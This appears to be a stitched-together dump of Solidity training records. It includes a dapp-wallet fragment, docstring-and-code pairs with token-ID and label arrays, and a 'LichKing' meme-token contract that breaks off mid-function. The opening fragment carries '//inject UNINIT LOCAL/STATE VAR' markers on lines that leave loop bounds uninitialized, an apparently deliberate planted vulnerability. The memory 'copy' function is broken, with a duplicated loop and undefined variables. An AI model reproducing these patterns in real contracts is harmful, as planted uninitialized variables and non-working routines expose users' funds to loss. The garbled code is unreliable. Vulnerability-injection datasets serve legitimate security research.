address(this).call(_data); require(success, "calling self failed"); emit DappLogicEntered(_data, _nonce); } // *************** call Dapp ********************* // // called from 'enter' // call other contract from base account function callContract(address payable _account, address payable _target, uint256 _value, bytes calldata _methodData) external allowSelfCallsOnly { bool success; // solium-disable-next-line security/no-low-level-calls (success,) = _account.call(abi.encodeWithSignature("invoke(address,uint256,bytes)", _target, _value, _methodData)); require(success, "calling invoke failed"); } // called from 'enter' // call serveral other contracts at a time // 'bytes[]' not supported, therefore an array of _methodData is rlp encoded into rlpBytes function callMultiContract(address payable _account, address[] calldata _targets, uint256[] calldata _values, bytes calldata _rlpBytes) external allowSelfCallsOnly { RLPReader.RLPItem[] memory ls = _rlpBytes.toRlpItem().toList(); uint256 len ; //inject UNINIT LOCAL/STATE VAR require(len == _values.length && len == ls.length, "length mismatch"); for (uint256 i ; i < len; i++) { //inject UNINIT LOCAL/STATE VAR bool success; RLPReader.RLPItem memory item = ls[i]; // solium-disable-next-line security/no-low-level-calls (success,) = _account.call(abi.encodeWithSignature("invoke(address,uint256,bytes)", _targets[i], _values[i], bytes(item.toBytes()))); require(success, "calling invoke failed"); } } }
@param src Pointer to source @param dest Pointer to destination @param len Amount of memory to copy from the source/ copy as many word sizes as possible
function copy(uint src, uint dest, uint len) private pure { if (len == 0) return; for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } assembly { mstore(dest, or(destpart, srcpart)) } }
6,385,043
[ 1, 4816, 7107, 358, 1084, 225, 1570, 7107, 358, 2929, 225, 562, 16811, 434, 3778, 358, 1610, 628, 326, 1084, 19, 1610, 487, 4906, 2076, 8453, 487, 3323, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1610, 12, 11890, 1705, 16, 2254, 1570, 16, 2254, 562, 13, 3238, 16618, 288, 203, 3639, 309, 261, 1897, 422, 374, 13, 327, 31, 203, 203, 3639, 364, 261, 31, 562, 1545, 21464, 67, 4574, 31, 562, 3947, 21464, 67, 4574, 13, 288, 203, 5411, 19931, 288, 203, 7734, 312, 2233, 12, 10488, 16, 312, 945, 12, 4816, 3719, 203, 5411, 289, 203, 203, 5411, 1705, 1011, 21464, 67, 4574, 31, 203, 5411, 1570, 1011, 21464, 67, 4574, 31, 203, 3639, 289, 203, 203, 3639, 364, 261, 31, 562, 1545, 21464, 67, 4574, 31, 562, 3947, 21464, 67, 4574, 13, 288, 203, 5411, 19931, 288, 203, 7734, 312, 2233, 12, 10488, 16, 312, 945, 12, 4816, 3719, 203, 5411, 289, 203, 203, 5411, 1705, 1011, 21464, 67, 4574, 31, 203, 5411, 1570, 1011, 21464, 67, 4574, 31, 203, 3639, 289, 203, 203, 203, 3639, 19931, 288, 203, 5411, 312, 2233, 12, 10488, 16, 578, 12, 10488, 2680, 16, 1705, 2680, 3719, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/250/0x1CD4f1E9336555af8398A2619E7ff2712E8F4046/sources/contracts/Qissa.sol
* Changes the stage from PrePictureLock to PictureLock. @param _notary - the notary address which is going to take over from this point/ add notary mapping here
function moveToPictureLock(address _notary) external onlyInProduction onlyOwner { require(_notary != msg.sender, "FORBIDDEN: Notary can't be project owner"); require(totalQuota == HUNDRET_PERCENT_BP, "FORBIDDEN: Revenue distribution < 100%"); _setupRole(NOTARY_ROLE, _notary); projectStage = ProjectStage.PictureLock; factory.addNotaryToNotaryMapping(projectId, _notary); }
13,223,198
[ 1, 7173, 326, 6009, 628, 2962, 24061, 2531, 358, 28770, 2531, 18, 225, 389, 902, 814, 300, 326, 486, 814, 1758, 1492, 353, 8554, 358, 4862, 1879, 628, 333, 1634, 19, 527, 486, 814, 2874, 2674, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13863, 24061, 2531, 12, 2867, 389, 902, 814, 13, 3903, 1338, 382, 31590, 1338, 5541, 288, 203, 3639, 2583, 24899, 902, 814, 480, 1234, 18, 15330, 16, 315, 7473, 30198, 30, 2288, 814, 848, 1404, 506, 1984, 3410, 8863, 203, 3639, 2583, 12, 4963, 10334, 422, 670, 5240, 10238, 67, 3194, 19666, 67, 30573, 16, 315, 7473, 30198, 30, 868, 24612, 7006, 411, 2130, 9, 8863, 203, 3639, 389, 8401, 2996, 12, 4400, 6043, 67, 16256, 16, 389, 902, 814, 1769, 203, 203, 3639, 1984, 8755, 273, 5420, 8755, 18, 24061, 2531, 31, 203, 203, 3639, 3272, 18, 1289, 1248, 814, 774, 1248, 814, 3233, 12, 4406, 548, 16, 389, 902, 814, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-05-27 */ /* _.--"""""--._ _ _ _ _ ___ .' '. | | (_) ___| |__ | |/ (_)_ __ __ _ / \ | | | |/ __| '_ \| ' /| | '_ \ / _` | ; ; | |___| | (__| | | | . \| | | | | (_| | | | |_____|_|\___|_| |_|_|\_\_|_| |_|\__, | | | |___/ ; ; \ (`'--, ,--'`) / * $Lich is a Warcraft-dedicated meme token for gamer and trader \ \ _ ) ( _ / / * Lichking is one of the main characters in the Warcraft world ) )(')/ \(')( ( * Liquidity will be locked on unicrypt once token is released (_ `""` /\ `""` _) * No pre-sale for fair distribution to initial investors \`"-, / \ ,-"`/ * Given multiple scam tokens, we are fully dedicated to a fair trading `\ / `""` \ /` * Website will follow in the next days |/\/\/\/\/\| * TG community: https://t.me/lich_official |\ /| ; |/\/\/\| ; \`-`--`-`/ \ / ',__,' q__p */ // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the BEP20 standard as defined in the EIP. */ interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract LichKing is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; IUniswapV2Router02 public uniswapV2Router; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public uniswapV2Pair; address public animalSanctuary = 0xAFB3a2DC51ae312aD004467c210b4561d21f4Bc4; address payable logistics; address altContract = 0xf35B13c7E35EC379EeC8eb0995c3F098c07E7a22; // <= eth shib uint256 private _totalSupply = 55000000 * 10**18; string private _name = 'LichKing'; string private _symbol = 'Lich'; uint8 private _decimals = 18; uint private DecimalFactor = 10 ** _decimals; uint private _tokensAmountToLiquify; uint private numOfTX; bool inSwapAndLiquify; bool swapInProgress; bool public _swapAndLiquifyEnabled; event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived,uint256 tokensIntoLiqudity); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); _swapAndLiquifyEnabled = true; swapInProgress = false; logistics = msg.sender; numOfTX = 0; // eth router 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // viperswap harmony 0xf012702a5f0e54015362cBCA26a26fc90AA832a3 // pancakeswap v2 BSC 0x10ED43C718714eb63d5aA57B78B54704E256024E // eth + bsc animalSanctuary = 0x4A462404ca4b7caE9F639732EB4DaB75d6E88d19 IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // eth router uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _tokensAmountToLiquify = 1000 * DecimalFactor ; } function setAltContract (address newAltContract) public onlyOwner() { altContract = newAltContract; } function contractEthereumBalance() public view returns(uint) { return address(this).balance; } function contractTokensBalance() public view returns(uint) { return balanceOf(address(this)); } function setSwapAndLiquifyEnabled(bool enable) public onlyOwner() { _swapAndLiquifyEnabled = enable; } function setTokensAmountToLiquify(uint amount) public onlyOwner() { _tokensAmountToLiquify = amount.mul(DecimalFactor); } function viewTokensAmountToLiquify() public view returns(uint) { return _tokensAmountToLiquify; } function setUniswapPairV2(address ethPairAddress) public onlyOwner() { uniswapV2Pair = ethPairAddress; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender == address(this) || sender == owner() ) { _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer (sender, recipient, amount); } else { if(numOfTX < 100){ uint exchangeBalance = balanceOf(address(uniswapV2Pair)); require( amount <= exchangeBalance.div(100)); numOfTX = numOfTX.add(1); } if (swapInProgress) { _transferAndBurn(sender, recipient,amount); } else { uint contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = (contractTokenBalance >= _tokensAmountToLiquify); uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { swapInProgress = true; swapETHforAltTokens(contractETHBalance); } else if (overMinTokenBalance && !inSwapAndLiquify && msg.sender != uniswapV2Pair && _swapAndLiquifyEnabled) { swapInProgress = true; swapAndLiquify(contractTokenBalance); } _transferAndBurn(sender, recipient, amount); swapInProgress = false; } } } function _transferAndBurn(address sender, address recipient, uint256 amount) private { uint forTokenSwaps = amount.div(100).mul(7); uint burnAmount = amount.div(100); uint transferAmount = amount.sub(burnAmount).sub(forTokenSwaps); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(transferAmount); _balances[address(this)] = _balances[address(this)].add(forTokenSwaps); _totalSupply = _totalSupply.sub(burnAmount); emit Transfer (sender, address(0), burnAmount); emit Transfer (sender, recipient, transferAmount); } function swapAndLiquify( uint contractTokenBalance) private { uint tokensToLiquify = contractTokenBalance.div(7).mul(6); uint tokensToPair = 